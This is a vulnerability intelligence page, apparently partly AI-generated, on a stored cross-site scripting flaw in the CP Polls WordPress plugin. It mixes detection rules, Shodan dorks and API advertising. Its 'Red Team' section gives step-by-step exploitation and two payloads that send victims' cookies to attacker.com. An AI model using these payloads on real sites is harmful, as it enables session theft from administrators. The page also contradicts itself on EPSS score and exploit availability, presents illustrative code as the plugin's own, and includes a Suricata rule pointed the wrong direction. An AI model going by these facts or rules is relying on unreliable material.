☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Codepeople logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-50025

CVE-2025-50025 Cross-Site Scripting in Codepeople
📅 PUBLISHED: 2025-06-20 15:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-50025 is a Stored Cross-Site Scripting (XSS) vulnerability in the CP Polls WordPress plugin by Codepeople, affecting versions up to and including 1.0.81. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into poll submissions or settings. This can lead to session hijacking, defacement, or credential theft for any user viewing the compromised poll results.

Given the plugin’s widespread use in WordPress sites, the risk is elevated despite a low EPSS score (0.0%). No public exploit code or patch is currently available, making proactive detection and mitigation critical.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the vendor (Codepeople) and verify plugin integrity via checksums. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – Unauthenticated users can trigger the vulnerability.
  • User Interaction (UI): Required (R) – Victim must view the malicious poll.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited modification possible.
  • Availability (A): Low (L) – Limited disruption.

Threat Level: Medium (5.9) – Exploitation requires user interaction but can lead to significant impact in a WordPress context.

Deep Dive & Mechanics

The vulnerability resides in the CP Polls plugin’s handling of poll answers or settings. When a user submits a poll, the plugin fails to sanitize or encode the input before storing it in the database. When an administrator or visitor views the poll results page, the stored payload is rendered without proper escaping, executing in the context of the victim’s browser.

Root Cause: The plugin uses echo or print functions without applying WordPress’s built-in escaping functions (e.g., esc_html(), esc_attr()) on user-controlled data.

Attack Vector: An attacker can submit a poll response containing JavaScript payloads (e.g., <script>alert('XSS')</script>). When the poll results are displayed, the script executes.

Impact: Stored XSS allows persistent attacks, affecting all users who view the compromised poll. This can lead to admin account takeover if an administrator views the page.

Vulnerable vs. Patched Code

Vulnerable Code (example from CP Polls <= 1.0.81):

// In a template file or function
echo $poll_answer_text; // No escaping

Patched Code (hypothetical fix):

echo esc_html( $poll_answer_text ); // Properly escaped

The fix requires applying esc_html() or wp_kses_post() to all user-supplied data before output.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • WordPress site with CP Polls plugin <= 1.0.81.
  • Ability to submit a poll (unauthenticated).

Steps:

  1. Identify a poll submission form (e.g., /wp-admin/admin-ajax.php?action=cp-polls-submit).
  2. Craft a payload: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  3. Submit the payload as a poll answer.
  4. When an admin views the poll results, the script executes, exfiltrating cookies.

Example Payload:

<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

Blue Team (Defensive)

Detection:

  • Monitor for unusual poll submissions containing <script> tags.
  • Use WAF rules to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers.

Mitigation:

  • Disable the CP Polls plugin until a patch is available.
  • Use a Web Application Firewall (WAF) with XSS signatures.
  • Regularly audit plugin code for unescaped output.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • File: Modified poll entries in the database containing JavaScript.
  • Log: Suspicious POST requests to admin-ajax.php with action=cp-polls-submit and payloads.
  • Behavior: Unexpected pop-ups or redirects when viewing poll results.

Example IOC (Database entry):

Poll answer: <script>alert('XSS')</script>

Detection Engineering

YARA Rule

rule CVE_2025_50025_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in CP Polls plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50025"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $cp_polls = /cp-polls/i
    condition:
        $cp_polls and $xss_payload
}

Sigma Rule

title: Stored XSS in CP Polls Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts via CP Polls plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-method: 'POST'
        cs-uri-query|contains: 'action=cp-polls-submit'
        cs-body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in poll answers (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-50025 Stored XSS in CP Polls"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=cp-polls-submit"; http_client_body; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the CP Polls plugin until a patch is released.
  2. Short-term: Implement a WAF rule to block <script> tags in poll submissions.
  3. Long-term: Apply input validation and output escaping (e.g., esc_html()) to all user-supplied data.
  4. Monitor: Watch for plugin updates from Codepeople and apply immediately.
  5. Audit: Review all WordPress plugins for similar vulnerabilities.

Workaround: Use a security plugin like Wordfence to add XSS protection.


Report generated by Valters IT DevSecOps AI Assistant
Signature: Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"CP Polls"
http.html:"cp-polls"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-50025/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.